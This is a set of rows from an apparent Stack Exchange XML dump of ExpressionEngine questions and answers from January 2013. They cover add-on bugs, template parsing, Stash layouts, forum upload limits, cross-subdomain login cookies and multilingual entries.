  <row Id="3664" PostTypeId="2" ParentId="3589" CreationDate="2013-01-12T17:36:22.270" Score="3" Body="&lt;p&gt;We have resolved this error in the most recent update of Tagger. You can download it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/tagger/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/tagger/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-01-12T17:36:22.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostTypeId="1" AcceptedAnswerId="3672" CreationDate="2013-01-12T18:51:19.883" Score="1" ViewCount="170" Body="&lt;p&gt;I am working with Forums 3.1.9 on EE 2.5.5 and have run into some limitations that should be modifiable. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attachment file size: I see this note: &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Attachments Max Size: 75KB&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I increase this?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upload file type. If I try to upload a PDF for a Word document I get the following error:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The filetype you are attempting to upload is not allowed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I checked /config/mimes.php and both .doc and .pdf files are listed. Do the forums have a difference mimes controller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-01-13T00:39:08.650" Title="How do I increase the attachment size limitation and formats in Forums?" Tags="|file-uploads|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3666" PostTypeId="1" AcceptedAnswerId="3671" CreationDate="2013-01-12T19:45:25.757" Score="3" ViewCount="1248" Body="&lt;p&gt;Has anyone successfully gotten EE tags to properly highlight in Sublime Text 2? I tried installing the default ExpressionEngine package available from the package installer and it doesn't do anything. I also tried this one &lt;a href=&quot;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mrw/ExpressionEngine2-Sublime-Text-Bundle&lt;/a&gt; and it throws errors when I launch it. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running OSX 10.8.2 and Sublime Text 2.0.1 (trial)&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2014-10-29T18:32:07.483" Title="Sublime text edit and ExpressionEngine Syntax - Not highlighting" Tags="|syntax|editor|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3667" PostTypeId="1" AcceptedAnswerId="6825" CreationDate="2013-01-12T19:48:10.360" Score="2" ViewCount="134" Body="&lt;p&gt;Haven't been able to get a reply from the guys at CartThrob since November, so hopefully someone here can help out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have the following in our add to cart form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if cf_products_stampinglimit}&#xA; &amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;stamping&quot;&amp;gt;&#xA;   &amp;lt;span class=&quot;label&quot;&amp;gt;Stamping:&amp;lt;/span&amp;gt;&#xA;   {item_options:input:stamping type=&quot;text&quot; value=&quot;&quot;}&#xA;   &amp;lt;span class=&quot;note&quot;&amp;gt;Character limit: {cf_products_stampinglimit}. If you're ordering more than one charm, separate each stamp with a comma.&amp;lt;/span&amp;gt;&#xA;  &amp;lt;/label&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While it works well 99% of the time, I’ve recently discovered that if a customer types something like “a + b” in the field, then the email shows up blank or with this error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in /my/path/to/system/expressionengine/libraries/Functions.php(680) : eval()'d code on line 94&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field is filled out just fine in the order entry though (i.e., it gets saved just fine). Here’s the code snippet for that piece in the email template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{item:stamping}&quot;}Stamping: &amp;lt;em&amp;gt;{item:stamping}&amp;lt;/em&amp;gt;&amp;lt;br /&amp;gt;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’ve tested this extensively and the email appears normally unless it has something like “x + x”. Any idea on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.2 and CartThrob 2.1.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; We've since upgraded to EE 2.5.5 and CT 2.2.9 and now, instead of getting a blank email, this error is sent instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Parse error: syntax error, unexpected '&quot; != &quot;' (T_CONSTANT_ENCAPSED_STRING) in /path/to/system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 81&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, this is the case for various characters: + &amp;amp; ;&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2013-02-27T20:27:58.910" LastActivityDate="2013-12-17T22:28:15.863" Title="CartThrob Issue with item_options:input:my_option and certain characters" Tags="|ee2|cartthrob|shopping-cart|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3668" PostTypeId="2" ParentId="3638" CreationDate="2013-01-12T20:28:29.107" Score="2" Body="&lt;p&gt;You are correct - when using the User Authors feature, all authorship data is stored in the &lt;code&gt;exp_user_authors&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script should fill in the gaps in your User Authors table for you. Backup your database, create a new template, enable PHP on it, put this in it (replace &lt;code&gt;$channel_id&lt;/code&gt; at the top with your actual &lt;code&gt;channel_id&lt;/code&gt;), then load the template i your browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;$channel_id = 1;&#xA;&#xA;$entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;    SELECT entry_id, author_id, entry_date&#xA;    FROM exp_channel_titles &#xA;    WHERE channel_id = $channel_id&#xA;&quot;);&#xA;if($entries-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($entries-&amp;gt;result_array() as $entry)&#xA;    {&#xA;        extract($entry);&#xA;        // Make sure an author entry doesn't already exist&#xA;        $existing = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;            SELECT entry_id &#xA;            FROM exp_user_authors &#xA;            WHERE entry_id = $entry_id&#xA;            AND author_id = $author_id&#xA;        &quot;);&#xA;        if($existing-&amp;gt;num_rows() == 0)&#xA;        {&#xA;            // No entry exists, so insert it&#xA;            $data = array(&#xA;                'author_id' =&amp;gt; $author_id,&#xA;                'entry_date' =&amp;gt; $entry_date,&#xA;                'entry_id' =&amp;gt; $entry_id,&#xA;                'principal' =&amp;gt; 'y'&#xA;            );&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;                $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert_string('exp_user_authors', $data)&#xA;            );&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-12T20:28:29.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3669" PostTypeId="1" CreationDate="2013-01-12T21:28:25.643" Score="5" ViewCount="237" Body="&lt;p&gt;Since upgrading to 2.5.5, in the Template manager screen, all the links have the same template group ID in them, so I can't switch between template groups. It works in Firefox, Opera, and even in IE, just not Chrome. Wondering if anyone else noticed this? &lt;/p&gt;&#xA;" OwnerUserId="772" LastActivityDate="2013-07-19T22:02:54.877" Title="Since upgrading to 2.5.5, Template Manager links broken in Chrome." Tags="|ee2|ee2-upgrades|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3670" PostTypeId="1" CreationDate="2013-01-12T23:08:49.227" Score="3" ViewCount="604" Body="&lt;p&gt;I'm having an odd issue with Stash and a 404 redirect. When an entry isn't found the &quot;layout&quot; template is getting rendered twice around the main Stash content. Anyone seen this before? I can kinda see why it is happening, but can see any way around it. Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The page template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Layout --}&#xA;{embed=&quot;shared/_layout&quot;}&#xA;&#xA;{!-- Set main content --}&#xA;{exp:stash:set &#xA;    name=&quot;main_content&quot; &#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_depth=&quot;2&quot; &#xA;    no_results_prefix=&quot;nested&quot;}&#xA;&#xA;  {exp:channel:entries limit=&quot;1&quot; url_title=&quot;{segment_3}&quot;}&#xA;    {if nested:no_results}{redirect=&quot;404&quot;}{/if} &#xA;  {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The 404 template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Layout --}&#xA;{embed=&quot;shared/_layout&quot;}&#xA;&#xA;{!-- Set main content --}&#xA;{exp:stash:set name=&quot;main_content&quot;}&#xA;  &amp;lt;h1&amp;gt;Page not found&amp;lt;/h1&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The layout template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;  HEADER GOES HERE!!!&#xA;  {exp:stash:get name='main_content'}&#xA;  FOOTER GOES HERE!!!&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The resulting output to browser&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body&amp;gt;&#xA;  HEADER GOES HERE!!!&#xA;&amp;lt;body&amp;gt;&#xA;  HEADER GOES HERE!!!&#xA;&#xA;  &amp;lt;h1&amp;gt;Page not found&amp;lt;/h1&amp;gt;&#xA;&#xA;  FOOTER GOES HERE!!!&#xA;&amp;lt;/body&amp;gt;&#xA;  FOOTER GOES HERE!!!&#xA;&amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Seems I can get around the issue by removing the Stash/layout stuff from the 404 template and just having it as...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Page not found&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then a 404 generated by some means other than no_results won't get the layout. Hmm. Ideas?&lt;/p&gt;&#xA;" OwnerUserId="17" LastEditorUserId="17" LastEditDate="2013-01-12T23:21:21.347" LastActivityDate="2014-11-20T07:42:54.307" Title="Strange Stash &amp; redirect issue" Tags="|stash|redirects|404|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3671" PostTypeId="2" ParentId="3666" CreationDate="2013-01-12T23:21:46.917" Score="9" Body="&lt;p&gt;I don't know if you're using the Monokai colour scheme, but if you are you'll need to hack it to make the EE tags go purple - just add the word 'constant' on line 96 of ~/Application Supprt/Sublime Text 2/Packages/Color Scheme - Default/Monokai.tmTheme like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z4DXU.png&quot; alt=&quot;where to fix EE sublime syntax highlighting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0zo5Z.png&quot; alt=&quot;EE tags in purple&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add that I'm now using the &lt;a href=&quot;https://github.com/kkga/spacegray&quot; rel=&quot;nofollow noreferrer&quot;&gt;Spacegray Eighties&lt;/a&gt; theme which I prefer a bit. However by default the EE tags will be a very similar orangey red colour to any HTML markup. To improve that and turn the EE tags blue you need to edit line 240 of &lt;code&gt;base16-eighties.dark.tmTheme&lt;/code&gt; to change the color of the 'Constants' entry to #6699cc - The end result would then look like this: &lt;img src=&quot;https://i.stack.imgur.com/leSFq.png&quot; alt=&quot;Spacegray Eighties with improved EE tags&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further edit to add that in ST3, the path to the file you need to change is now ~/Library/Application Support/Sublime Text 3/Packages/Theme - Spacegray/base16-eighties.dark.tmTheme ... Alternatively you can install Package Resource Viewer to get there directly in ST: &lt;a href=&quot;https://github.com/skuroda/PackageResourceViewer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/skuroda/PackageResourceViewer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2014-09-24T09:45:47.357" LastActivityDate="2014-09-24T09:45:47.357" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3672" PostTypeId="2" ParentId="3665" CreationDate="2013-01-13T00:39:08.650" Score="1" Body="&lt;p&gt;This &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/189/are-pdfs-still-an-xss-problem-with-ee-uploads&quot;&gt;&lt;strong&gt;EE StackExchange question&lt;/strong&gt;&lt;/a&gt; will help you with your mime type issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can adjust Forum attachment settings here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CP &gt; Modules &gt; Discussion Forum &gt; Forum Management &gt; Default Preferences &gt; Attachment Preferences.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-01-13T00:39:08.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3673" PostTypeId="2" ParentId="3669" CreationDate="2013-01-13T00:50:35.527" Score="3" Body="&lt;p&gt;I'd suggest reuploading the control panel theme files from your 2.5.5 install. Perhaps something was corrupted on upload. The files are stored at: /themes/cp_themes/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, make sure the page has completely loaded in Chrome before clicking on the template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check the Chrome Dev Tools Network Panel for any 404 errors.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-13T00:50:35.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3674" PostTypeId="2" ParentId="3667" CreationDate="2013-01-13T01:05:04.980" Score="0" Body="&lt;p&gt;Try the conditional written like any of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{item:stamping}&quot; != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{item:stamping}' != ''}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {item:stamping} != &quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-14T01:27:19.033" LastActivityDate="2013-01-14T01:27:19.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostTypeId="1" AcceptedAnswerId="3717" CreationDate="2013-01-13T01:06:26.443" Score="7" ViewCount="640" Body="&lt;p&gt;Like most people, I was using NSM Transplant in tandem with Matrix to have {image_1} etc within a WYSIWYG field like so &lt;a href=&quot;http://vimeo.com/18661374&quot;&gt;http://vimeo.com/18661374&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to achieve the same thing using a template partials approach, however, I'm working on a site just now that's been an upgrade from EE1 (which used LG Replace) and I have no desire to refactor the templates to template partials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I could achieve the same thing in the Vimeo video using Stash?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-14T15:08:29.703" Title="using Stash to replace Matrix image slugs" Tags="|stash|matrix|wysiwyg|ce-image|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostTypeId="1" AcceptedAnswerId="3682" CreationDate="2013-01-13T03:11:39.530" Score="3" ViewCount="294" Body="&lt;p&gt;Is there a way to maintain logged-in status across sub-domains? I've tried adding a cookie prefix in config.php to no avail... not sure what else to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-01-13T09:01:11.180" Title="maintain logged-in status across sub-domains?" Tags="|cookies|subdomain|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3679" PostTypeId="1" AcceptedAnswerId="3688" CreationDate="2013-01-13T03:29:11.063" Score="4" ViewCount="1054" Body="&lt;p&gt;Hello fellow ExpressionEngineers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the process of translating the website of one of my companies. It was made in french and I'm doing the english language translation.&#xA;For that job, it seemed like the rather new EEHarbor's Transcribe module was fit for the job. I think I've got a pretty good understanding of how it should work. The problem is that I can't make it show the proper channel entries regarding the current language. It will always show all entries for the channel no matter if they are in french or in english.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you a little background, EE install is 2.5.5, and I'm not using a lot of modules/plugins : NSM Better Meta, NSM Morphine, NSM Live look, NSM Bootstrap, Wyvern, Low Seg2Cat, Detour, Entry Lottoree, Minimee. Nothing too fancy and all up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is an example of one of my channel tags :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;features_at_glance&quot; dynamic=&quot;no&quot; order_by=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;4&quot; {global:param_disable_default}}&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;&amp;lt;h4 style=&quot;background-image: url('{site_url}{feature_at_glance_icon}');&quot;&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;&amp;lt;p&amp;gt;{feature_at_glance_content}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{global:param_disable_default} comes from NSM Bootstrap and is replaced by disable=&quot;categories|pagination|member_data&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried removing every params from the channel without any success. It's still showing every entries for the channel even if you are supposed to view the english version of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transcribe is configured like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Default language: French &lt;/li&gt;&#xA;&lt;li&gt;Add language prefix to URL: Defined per language &lt;/li&gt;&#xA;&lt;li&gt;Transcribe enabled: yes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Languages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;French has &quot;add language prefix to URL&quot; set to &quot;no&quot; while english has it set to &quot;yes&quot; (French being the default language, I obviously don't want it prefixed for SEO reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, please note that I have also var dumped some var like language_id in Transcribe source code to verify that the proper language was being used and I was able to confirm it was at least correctly detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="774" LastEditorUserId="774" LastEditDate="2013-01-13T12:13:03.203" LastActivityDate="2013-11-17T19:42:11.203" Title="Channel entries not automatically filtered by language when using Transcribe" Tags="|channel-entries|extension|transcribe|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3680" PostTypeId="2" ParentId="3603" CreationDate="2013-01-13T03:37:43.497" Score="1" Body="&lt;p&gt;It's actually possible to leverage some of the underlying framework directly in a template (by enabling PHP input parsing for that particular template obviously). It's obviously depending on what you intend to do. But, for example, I'm using that to display a form that once posted will either show a page with errors or send an e-mail (making use of the EE object and input, form_validation and output library).&#xA;If the form is not too complicated, this is probably a good way to make something fast. Let me know if you need any help.&lt;/p&gt;&#xA;" OwnerUserId="774" LastActivityDate="2013-01-13T03:37:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3681" PostTypeId="2" ParentId="3679" CreationDate="2013-01-13T03:46:56.440" Score="0" Body="&lt;p&gt;It sounds like your channel short name may not be correct. Try a copy and paste to be sure the channel short name is correct.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-13T03:46:56.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostTypeId="2" ParentId="3678" CreationDate="2013-01-13T04:04:31.310" Score="5" Body="&lt;p&gt;It seems like you can set a &quot;cookie_domain&quot; variable to the config.php. Just figured this out by having a quick look at expressionengine/core/EE_Config.php around line 277. For cross sub domains persisting cookie, I believe your domain should be one of the seven special ones (http://wp.netscape.com/newsref/std/cookie_spec.html). In short $config['cookie_domain'] = &quot;.yourdomain.com&quot; would be worth a try!&lt;/p&gt;&#xA;" OwnerUserId="774" LastActivityDate="2013-01-13T04:04:31.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostTypeId="2" ParentId="3670" CreationDate="2013-01-13T04:48:34.933" Score="1" Body="&lt;p&gt;OK. I think I have a solution. Anyone know a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Page Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Layout --}&#xA;{embed=&quot;shared/_layout&quot;}&#xA;&#xA;{!-- Set main content --}&#xA;{exp:stash:set &#xA;    name=&quot;main_content&quot; &#xA;    parse_tags=&quot;yes&quot; &#xA;    parse_depth=&quot;2&quot; &#xA;    no_results_prefix=&quot;nested&quot;}&#xA;&#xA;  {exp:channel:entries limit=&quot;1&quot; url_title=&quot;{segment_3}&quot;}&#xA;    {if nested:no_results}&#xA;      {exp:stash:set_value name=&quot;no_results&quot; value=&quot;true&quot;}&#xA;    {/if}  &#xA;  {/exp:channel:entries}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Inside of the layout template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;no_results&quot;}}&#xA;  {exp:stash:unset name=&quot;no_results&quot;}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17" LastActivityDate="2013-01-13T04:48:34.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostTypeId="2" ParentId="3670" CreationDate="2013-01-13T06:50:28.867" Score="1" Body="&lt;p&gt;You should turn on your template debug and look for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash: SET or Stash: RETRIEVED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figuring out if Stash is being called twice is probably where I'd start.  If it's a duplicitous call to Stash vs. some Stash internal thing that would be good to know.  I have a feeling it's an internal thing that doesn't play nice with the 'redirect' global.  I'd have to start commenting out code in Stash to try and nail it down.&lt;/p&gt;&#xA;" OwnerUserId="775" LastActivityDate="2013-01-13T06:50:28.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3685" PostTypeId="2" ParentId="3670" CreationDate="2013-01-13T07:10:08.950" Score="1" Body="&lt;p&gt;Just looked a little more.  I'm betting it's a parse order thing (http://ellislab.com/expressionengine/user-guide/templates/template_engine.html). Likely the simple conditional is parsing the redirect before Stash is parsed causing some sort of double loop.  You're solution is certainly a functional work around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to try using parse=&quot;inward&quot; in the Stash tag, that would probably change the order Stash and the nested elements are parsing and might fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="775" LastActivityDate="2013-01-13T07:10:08.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostTypeId="2" ParentId="3678" CreationDate="2013-01-13T09:01:11.180" Score="3" Body="&lt;p&gt;You need to enable multi-site login via the &lt;code&gt;config.php&lt;/code&gt; file. You add a statement like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['multi_login_sites'] = &quot;http://domain.org/|http://domain2.org/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for each site/domain that they are logging into. Now the downside of this, is if you are logging them into a number of sites, the user will see a series of login flashes, from the EE successful login screen. I'm not certain if there is a way to remove that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know for the clients we've done this for, we reduced the multi-site logins to just the sites were people could place orders, submit forms, etc., as opposed to trying to login them into all sub sites at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are a lot of sites, and the user needs to be logged into all of them, then I recommend taking a look at &lt;a href=&quot;https://stackoverflow.com/questions/4701922/how-does-facebook-set-cross-domain-cookies-for-iframes-on-canvas-pages&quot;&gt;this Stackoverflow&lt;/a&gt; question and response, on how sites like Facebook handle it. &lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-13T09:01:11.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3687" PostTypeId="2" ParentId="3656" CreationDate="2013-01-13T09:51:42.710" Score="2" Body="&lt;p&gt;OK, finally figured it out with much tweaking and changing elements. Since the output='yes' tag spit out the correct information for all articles, it was a matter of realising the embed was being triggered and not the get_list tag. The parse order was not allowing the stash:append_list tag to fire before the stash:get_list tag. I simply put process='start' to subvert the parse order and it works perfectly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:embed:featured process='start'}&#xA;    {!-- 40,41,42,162 --}&#xA;    {exp:stash:get_list name='featured_list' match=&quot;#^.*40.*$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;      {article}&#xA;    {/exp:stash:get_list}&#xA;    {exp:stash:get_list name='featured_list' match=&quot;#^.*41.*$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;      {article}&#xA;    {/exp:stash:get_list}&#xA;    {exp:stash:get_list name='featured_list' match=&quot;#^.*42.*$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;      {article}&#xA;    {/exp:stash:get_list}&#xA;    {exp:stash:get_list name='featured_list' match=&quot;#^.*162.*$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;      {article}&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other note, the queries on the page went down by eight overall queries, which tells me that this is worth the effort in stashing this away. On a big site with a lot of traffic that's 8 less queries per page call that ever hit the database.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="2539" LastEditDate="2013-12-30T13:05:30.970" LastActivityDate="2013-12-30T13:05:30.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3688" PostTypeId="2" ParentId="3679" CreationDate="2013-01-13T12:12:42.860" Score="2" Body="&lt;p&gt;I've finally figured out what was wrong :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all for Transcribe to correctly work it looks like, at least for my install, that the setting &quot;Cache Dynamic Channel Queries?&quot; from &quot;Global Channel Preferences&quot; must be set to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to figure out the extensions that are using the &quot;channel_entries_query_result&quot; (a search in the exp_extensions table does help). In my case the EEHive Entry Lottery extensions was creating the problem. I have yet to figure out why...&lt;/p&gt;&#xA;" OwnerUserId="774" LastActivityDate="2013-01-13T12:12:42.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
